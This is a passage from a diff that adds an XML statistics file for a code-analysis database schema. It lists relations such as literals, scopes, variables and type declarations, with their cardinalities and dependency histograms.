+<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>4092</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>1365</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>1995</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>283</v> +</b> +<b> +<a>5</a> +<b>6</b> +<v>1681</v> +</b> +<b> +<a>6</a> +<b>7</b> +<v>5909</v> +</b> +<b> +<a>7</a> +<b>10</b> +<v>1344</v> +</b> +<b> +<a>10</a> +<b>3049605</b> +<v>1029</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>idx</src> +<trg>kind</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>10648</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>6398</v> +</b> +<b> +<a>3</a> +<b>83</b> +<v>652</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>idx</src> +<trg>parent</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>4092</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>1365</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>1995</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>283</v> +</b> +<b> +<a>5</a> +<b>6</b> +<v>1681</v> +</b> +<b> +<a>6</a> +<b>7</b> +<v>5909</v> +</b> +<b> +<a>7</a> +<b>10</b> +<v>1344</v> +</b> +<b> +<a>10</a> +<b>3049605</b> +<v>1029</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>idx</src> +<trg>tostring</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>4093</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>1365</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>2014</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>1147</v> +</b> +<b> +<a>5</a> +<b>6</b> +<v>1529</v> +</b> +<b> +<a>6</a> +<b>7</b> +<v>5401</v> +</b> +<b> +<a>7</a> +<b>10</b> +<v>1499</v> +</b> +<b> +<a>10</a> +<b>573348</b> +<v>650</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>tostring</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>466570</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>157949</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>55443</v> +</b> +<b> +<a>4</a> +<b>6</b> +<v>61411</v> +</b> +<b> +<a>6</a> +<b>17</b> +<v>63412</v> +</b> +<b> +<a>17</a> +<b>128652</b> +<v>29706</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>tostring</src> +<trg>kind</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>772624</v> +</b> +<b> +<a>2</a> +<b>24</b> +<v>61867</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>tostring</src> +<trg>parent</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>467110</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>158201</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>55446</v> +</b> +<b> +<a>4</a> +<b>6</b> +<v>61061</v> +</b> +<b> +<a>6</a> +<b>17</b> +<v>63168</v> +</b> +<b> +<a>17</a> +<b>128642</b> +<v>29505</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>tostring</src> +<trg>idx</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>724438</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>86524</v> +</b> +<b> +<a>3</a> +<b>7765</b> +<v>23529</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>literals</name> +<key>expr</key> +<cardinality>3145090</cardinality> +<columnsizes> +<e> +<k>value</k> +<v>216517</v> +</e> +<e> +<k>raw</k> +<v>234110</v> +</e> +<e> +<k>expr</k> +<v>3145090</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>value</src> +<trg>raw</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>201221</v> +</b> +<b> +<a>2</a> +<b>25</b> +<v>15296</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>value</src> +<trg>expr</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>95821</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>41222</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>19627</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>16097</v> +</b> +<b> +<a>5</a> +<b>9</b> +<v>18825</v> +</b> +<b> +<a>9</a> +<b>31</b> +<v>16474</v> +</b> +<b> +<a>31</a> +<b>122435</b> +<v>8451</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>raw</src> +<trg>value</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>234110</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>raw</src> +<trg>expr</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>104635</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>47230</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>20082</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>16835</v> +</b> +<b> +<a>5</a> +<b>9</b> +<v>19610</v> +</b> +<b> +<a>9</a> +<b>34</b> +<v>17695</v> +</b> +<b> +<a>34</a> +<b>120241</b> +<v>8023</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>expr</src> +<trg>value</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>3145090</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>expr</src> +<trg>raw</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>3145090</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>enclosing_stmt</name> +<cardinality>5372899</cardinality> +<columnsizes> +<e> +<k>expr</k> +<v>5372899</v> +</e> +<e> +<k>stmt</k> +<v>854574</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>expr</src> +<trg>stmt</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>5372899</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>stmt</src> +<trg>expr</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>3</b> +<v>74578</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>254844</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>57228</v> +</b> +<b> +<a>5</a> +<b>6</b> +<v>136234</v> +</b> +<b> +<a>6</a> +<b>7</b> +<v>44557</v> +</b> +<b> +<a>7</a> +<b>8</b> +<v>79401</v> +</b> +<b> +<a>8</a> +<b>9</b> +<v>55420</v> +</b> +<b> +<a>9</a> +<b>11</b> +<v>63155</v> +</b> +<b> +<a>11</a> +<b>17</b> +<v>65146</v> +</b> +<b> +<a>17</a> +<b>88321</b> +<v>24011</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>expr_containers</name> +<cardinality>5495305</cardinality> +<columnsizes> +<e> +<k>expr</k> +<v>5495305</v> +</e> +<e> +<k>container</k> +<v>118511</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>expr</src> +<trg>container</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>5495305</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>container</src> +<trg>expr</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>4</b> +<v>7197</v> +</b> +<b> +<a>4</a> +<b>6</b> +<v>9110</v> +</b> +<b> +<a>6</a> +<b>8</b> +<v>9222</v> +</b> +<b> +<a>8</a> +<b>10</b> +<v>8424</v> +</b> +<b> +<a>10</a> +<b>13</b> +<v>10651</v> +</b> +<b> +<a>13</a> +<b>16</b> +<v>8706</v> +</b> +<b> +<a>16</a> +<b>20</b> +<v>9358</v> +</b> +<b> +<a>20</a> +<b>25</b> +<v>9955</v> +</b> +<b> +<a>25</a> +<b>31</b> +<v>8893</v> +</b> +<b> +<a>31</a> +<b>40</b> +<v>9356</v> +</b> +<b> +<a>40</a> +<b>54</b> +<v>9017</v> +</b> +<b> +<a>54</a> +<b>85</b> +<v>8935</v> +</b> +<b> +<a>85</a> +<b>484</b> +<v>8890</v> +</b> +<b> +<a>484</a> +<b>459128</b> +<v>797</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>array_size</name> +<cardinality>28188</cardinality> +<columnsizes> +<e> +<k>ae</k> +<v>28188</v> +</e> +<e> +<k>sz</k> +<v>118</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>ae</src> +<trg>sz</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>28188</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>sz</src> +<trg>ae</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>52</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>21</v> +</b> +<b> +<a>3</a> +<b>5</b> +<v>9</v> +</b> +<b> +<a>5</a> +<b>8</b> +<v>9</v> +</b> +<b> +<a>9</a> +<b>20</b> +<v>9</v> +</b> +<b> +<a>22</a> +<b>181</b> +<v>9</v> +</b> +<b> +<a>231</a> +<b>12345</b> +<v>9</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>is_delegating</name> +<cardinality>4</cardinality> +<columnsizes> +<e> +<k>yield</k> +<v>4</v> +</e> +</columnsizes> +<dependencies/> +</relation> +<relation> +<name>scopes</name> +<key>id</key> +<cardinality>118172</cardinality> +<columnsizes> +<e> +<k>id</k> +<v>118172</v> +</e> +<e> +<k>kind</k> +<v>8</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>id</src> +<trg>kind</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>118172</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>kind</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>1</v> +</b> +<b> +<a>17</a> +<b>18</b> +<v>1</v> +</b> +<b> +<a>21</a> +<b>22</b> +<v>1</v> +</b> +<b> +<a>28</a> +<b>29</b> +<v>1</v> +</b> +<b> +<a>584</a> +<b>585</b> +<v>1</v> +</b> +<b> +<a>1272</a> +<b>1273</b> +<v>1</v> +</b> +<b> +<a>116245</a> +<b>116246</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>scopenodes</name> +<cardinality>118171</cardinality> +<columnsizes> +<e> +<k>node</k> +<v>118171</v> +</e> +<e> +<k>scope</k> +<v>118171</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>node</src> +<trg>scope</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>118171</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>scope</src> +<trg>node</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>118171</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>scopenesting</name> +<cardinality>118171</cardinality> +<columnsizes> +<e> +<k>inner</k> +<v>118171</v> +</e> +<e> +<k>outer</k> +<v>33143</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>inner</src> +<trg>outer</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>118171</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>outer</src> +<trg>inner</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>17868</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>6196</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>2666</v> +</b> +<b> +<a>4</a> +<b>6</b> +<v>2791</v> +</b> +<b> +<a>6</a> +<b>13</b> +<v>2584</v> +</b> +<b> +<a>13</a> +<b>17277</b> +<v>1038</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>is_generator</name> +<cardinality>62</cardinality> +<columnsizes> +<e> +<k>fun</k> +<v>62</v> +</e> +</columnsizes> +<dependencies/> +</relation> +<relation> +<name>has_rest_parameter</name> +<cardinality>33</cardinality> +<columnsizes> +<e> +<k>fun</k> +<v>33</v> +</e> +</columnsizes> +<dependencies/> +</relation> +<relation> +<name>is_async</name> +<cardinality>50</cardinality> +<columnsizes> +<e> +<k>fun</k> +<v>50</v> +</e> +</columnsizes> +<dependencies/> +</relation> +<relation> +<name>variables</name> +<key>id</key> +<cardinality>364388</cardinality> +<columnsizes> +<e> +<k>id</k> +<v>364388</v> +</e> +<e> +<k>name</k> +<v>56559</v> +</e> +<e> +<k>scope</k> +<v>118168</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>id</src> +<trg>name</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>364388</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>id</src> +<trg>scope</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>364388</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>name</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>38013</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>9547</v> +</b> +<b> +<a>3</a> +<b>5</b> +<v>4518</v> +</b> +<b> +<a>5</a> +<b>115</b> +<v>4242</v> +</b> +<b> +<a>115</a> +<b>116259</b> +<v>239</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>name</src> +<trg>scope</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>38013</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>9547</v> +</b> +<b> +<a>3</a> +<b>5</b> +<v>4518</v> +</b> +<b> +<a>5</a> +<b>115</b> +<v>4242</v> +</b> +<b> +<a>115</a> +<b>116259</b> +<v>239</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>scope</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>39907</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>32053</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>18882</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>9814</v> +</b> +<b> +<a>5</a> +<b>8</b> +<v>10909</v> +</b> +<b> +<a>8</a> +<b>8779</b> +<v>6603</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>scope</src> +<trg>name</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>39907</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>32053</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>18882</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>9814</v> +</b> +<b> +<a>5</a> +<b>8</b> +<v>10909</v> +</b> +<b> +<a>8</a> +<b>8779</b> +<v>6603</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>local_type_names</name> +<cardinality>23565</cardinality> +<columnsizes> +<e> +<k>id</k> +<v>23565</v> +</e> +<e> +<k>name</k> +<v>6080</v> +</e> +<e> +<k>scope</k> +<v>1614</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>id</src> +<trg>name</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>23565</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>id</src> +<trg>scope</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>23565</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>name</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>2821</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>1362</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>641</v> +</b> +<b> +<a>4</a> +<b>6</b> +<v>508</v> +</b> +<b> +<a>6</a> +<b>13</b> +<v>485</v> +</b> +<b> +<a>13</a> +<b>533</b> +<v>263</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>name</src> +<trg>scope</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>2821</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>1362</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>641</v> +</b> +<b> +<a>4</a> +<b>6</b> +<v>508</v> +</b> +<b> +<a>6</a> +<b>13</b> +<v>485</v> +</b> +<b> +<a>13</a> +<b>533</b> +<v>263</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>scope</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>138</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>109</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>116</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>108</v> +</b> +<b> +<a>5</a> +<b>7</b> +<v>140</v> +</b> +<b> +<a>7</a> +<b>8</b> +<v>89</v> +</b> +<b> +<a>8</a> +<b>10</b> +<v>131</v> +</b> +<b> +<a>10</a> +<b>12</b> +<v>112</v> +</b> +<b> +<a>12</a> +<b>15</b> +<v>144</v> +</b> +<b> +<a>15</a> +<b>19</b> +<v>134</v> +</b> +<b> +<a>19</a> +<b>25</b> +<v>132</v> +</b> +<b> +<a>25</a> +<b>37</b> +<v>122</v> +</b> +<b> +<a>37</a> +<b>87</b> +<v>122</v> +</b> +<b> +<a>87</a> +<b>221</b> +<v>17</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>scope</src> +<trg>name</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>138</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>109</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>116</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>108</v> +</b> +<b> +<a>5</a> +<b>7</b> +<v>140</v> +</b> +<b> +<a>7</a> +<b>8</b> +<v>89</v> +</b> +<b> +<a>8</a> +<b>10</b> +<v>131</v> +</b> +<b> +<a>10</a> +<b>12</b> +<v>112</v> +</b> +<b> +<a>12</a> +<b>15</b> +<v>144</v> +</b> +<b> +<a>15</a> +<b>19</b> +<v>134</v> +</b> +<b> +<a>19</a> +<b>25</b> +<v>132</v> +</b> +<b> +<a>25</a> +<b>37</b> +<v>122</v> +</b> +<b> +<a>37</a> +<b>87</b> +<v>122</v> +</b> +<b> +<a>87</a> +<b>221</b> +<v>17</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>local_namespace_names</name> +<cardinality>20832</cardinality> +<columnsizes> +<e> +<k>id</k> +<v>20832</v> +</e> +<e> +<k>name</k> +<v>4078</v> +</e> +<e> +<k>scope</k> +<v>1543</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>id</src> +<trg>name</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>20832</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>id</src> +<trg>scope</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>20832</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>name</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1787</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>859</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>378</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>216</v> +</b> +<b> +<a>5</a> +<b>8</b> +<v>364</v> +</b> +<b> +<a>8</a> +<b>20</b> +<v>310</v> +</b> +<b> +<a>20</a> +<b>533</b> +<v>164</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>name</src> +<trg>scope</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1787</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>859</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>378</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>216</v> +</b> +<b> +<a>5</a> +<b>8</b> +<v>364</v> +</b> +<b> +<a>8</a> +<b>20</b> +<v>310</v> +</b> +<b> +<a>20</a> +<b>533</b> +<v>164</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>scope</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>88</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>123</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>120</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>104</v> +</b> +<b> +<a>5</a> +<b>6</b> +<v>107</v> +</b> +<b> +<a>6</a> +<b>7</b> +<v>70</v> +</b> +<b> +<a>7</a> +<b>8</b> +<v>87</v> +</b> +<b> +<a>8</a> +<b>10</b> +<v>137</v> +</b> +<b> +<a>10</a> +<b>12</b> +<v>122</v> +</b> +<b> +<a>12</a> +<b>15</b> +<v>122</v> +</b> +<b> +<a>15</a> +<b>19</b> +<v>124</v> +</b> +<b> +<a>19</a> +<b>26</b> +<v>120</v> +</b> +<b> +<a>26</a> +<b>39</b> +<v>117</v> +</b> +<b> +<a>39</a> +<b>136</b> +<v>102</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>scope</src> +<trg>name</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>88</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>123</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>120</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>104</v> +</b> +<b> +<a>5</a> +<b>6</b> +<v>107</v> +</b> +<b> +<a>6</a> +<b>7</b> +<v>70</v> +</b> +<b> +<a>7</a> +<b>8</b> +<v>87</v> +</b> +<b> +<a>8</a> +<b>10</b> +<v>137</v> +</b> +<b> +<a>10</a> +<b>12</b> +<v>122</v> +</b> +<b> +<a>12</a> +<b>15</b> +<v>122</v> +</b> +<b> +<a>15</a> +<b>19</b> +<v>124</v> +</b> +<b> +<a>19</a> +<b>26</b> +<v>120</v> +</b> +<b> +<a>26</a> +<b>39</b> +<v>117</v> +</b> +<b> +<a>39</a> +<b>136</b> +<v>102</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>is_arguments_object</name> +<cardinality>116243</cardinality> +<columnsizes> +<e> +<k>id</k> +<v>116243</v> +</e> +</columnsizes> +<dependencies/> +</relation> +<relation> +<name>bind</name> +<cardinality>1295408</cardinality> +<columnsizes> +<e> +<k>id</k> +<v>1295408</v> +</e> +<e> +<k>decl</k> +<v>224900</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>id</src> +<trg>decl</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1295408</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>decl</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>81789</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>50824</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>29919</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>17755</v> +</b> +<b> +<a>5</a> +<b>7</b> +<v>16901</v> +</b> +<b> +<a>7</a> +<b>14</b> +<v>17790</v> +</b> +<b> +<a>14</a> +<b>98305</b> +<v>9922</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>decl</name> +<cardinality>250257</cardinality> +<columnsizes> +<e> +<k>id</k> +<v>250257</v> +</e> +<e> +<k>decl</k> +<v>246998</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>id</src> +<trg>decl</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>250257</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>decl</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>245772</v> +</b> +<b> +<a>2</a> +<b>283</b> +<v>1226</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>typebind</name> +<cardinality>36216</cardinality> +<columnsizes> +<e> +<k>id</k> +<v>36216</v> +</e> +<e> +<k>decl</k> +<v>12650</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>id</src> +<trg>decl</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>36216</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>decl</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>6781</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>2435</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>1133</v> +</b> +<b> +<a>4</a> +<b>6</b> +<v>1127</v> +</b> +<b> +<a>6</a> +<b>17</b> +<v>954</v> +</b> +<b> +<a>17</a> +<b>524</b> +<v>220</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>typedecl</name> +<cardinality>23573</cardinality> +<columnsizes> +<e> +<k>id</k> +<v>23573</v> +</e> +<e> +<k>decl</k> +<v>23565</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>id</src> +<trg>decl</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>23573</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>decl</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>23558</v> +</b> +<b> +<a>2</a> +<b>4</b> +<v>7</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>namespacedecl</name> +<cardinality>20839</cardinality> +<columnsizes> +<e> +<k>id</k> +<v>20839</v> +</e> +<e> +<k>decl</k> +<v>20832</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>id</src> +<trg>decl</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>20839</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>decl</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>20828</v> +</b> +<b> +<a>2</a> +<b>5</b> +<v>4</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>namespacebind</name> +<cardinality>4300</cardinality> +<columnsizes> +<e> +<k>id</k> +<v>4300</v> +</e> +<e> +<k>decl</k> +<v>485</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>id</src> +<trg>decl</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>4300</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>decl</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>133</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>46</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>56</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>30</v> +</b> +<b> +<a>5</a> +<b>7</b> +<v>37</v> +</b> +<b> +<a>7</a> +<b>9</b> +<v>44</v> +</b> +<b> +<a>9</a> +<b>12</b> +<v>41</v> +</b> +<b> +<a>12</a> +<b>17</b> +<v>38</v> +</b> +<b> +<a>17</a> +<b>31</b> +<v>37</v> +</b> +<b> +<a>32</a> +<b>287</b> +<v>23</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>properties</name> +<key>id</key> +<cardinality>142723</cardinality> +<columnsizes> +<e> +<k>id</k> +<v>142723</v> +</e> +<e> +<k>parent</k> +<v>45129</v> +</e> +<e> +<k>index</k> +<v>4204</v> +</e> +<e> +<k>kind</k> +<v>3</v> +</e> +<e> +<k>tostring</k> +<v>67703</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>id</src> +<trg>parent</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>142723</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>id</src> 